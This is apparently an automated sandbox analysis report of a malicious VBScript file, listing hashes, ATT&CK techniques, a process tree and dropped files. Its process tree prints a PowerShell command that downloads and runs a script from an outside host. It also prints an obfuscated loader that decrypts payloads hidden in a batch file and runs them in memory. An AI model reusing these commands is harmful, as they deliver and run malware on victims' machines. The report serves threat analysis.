1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1832	powershell.exe
2512	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2512	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1832	powershell.exe
2512	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 268	2868	WScript.exe	28
PID 2868 wrote to memory of 268	2868	WScript.exe	28
PID 2868 wrote to memory of 268	2868	WScript.exe	28
PID 268 wrote to memory of 1832	268	cmd.exe	30
PID 268 wrote to memory of 1832	268	cmd.exe	30
PID 268 wrote to memory of 1832	268	cmd.exe	30
PID 2868 wrote to memory of 2604	2868	WScript.exe	33
PID 2868 wrote to memory of 2604	2868	WScript.exe	33
PID 2868 wrote to memory of 2604	2868	WScript.exe	33
PID 2604 wrote to memory of 2512	2604	cmd.exe	35
PID 2604 wrote to memory of 2512	2604	cmd.exe	35
PID 2604 wrote to memory of 2512	2604	cmd.exe	35
PID 2604 wrote to memory of 2512	2604	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9914X60Y0M7NNC79LH2R.temp

Filesize
7KB

MD5
f7c7d3dccd650921222aaa35864f34f2

SHA1
2134b6e71edf408f5ce9f51334a942cf5c107e88

SHA256
c76b9284047faaad12b111663f4fcb692beccf19a350ebbe846d7567c5837ec0

SHA512
c4cf4091b227c36473d7203fdeef417ab6c3c8a63e62f6991aefe841712f720bd6e634bddf3442f37291736059b2f9cad24f1eac3278a87835c937e3e741156e

Download Submit
memory/1832-4-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/1832-6-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1832-8-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/1832-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1832-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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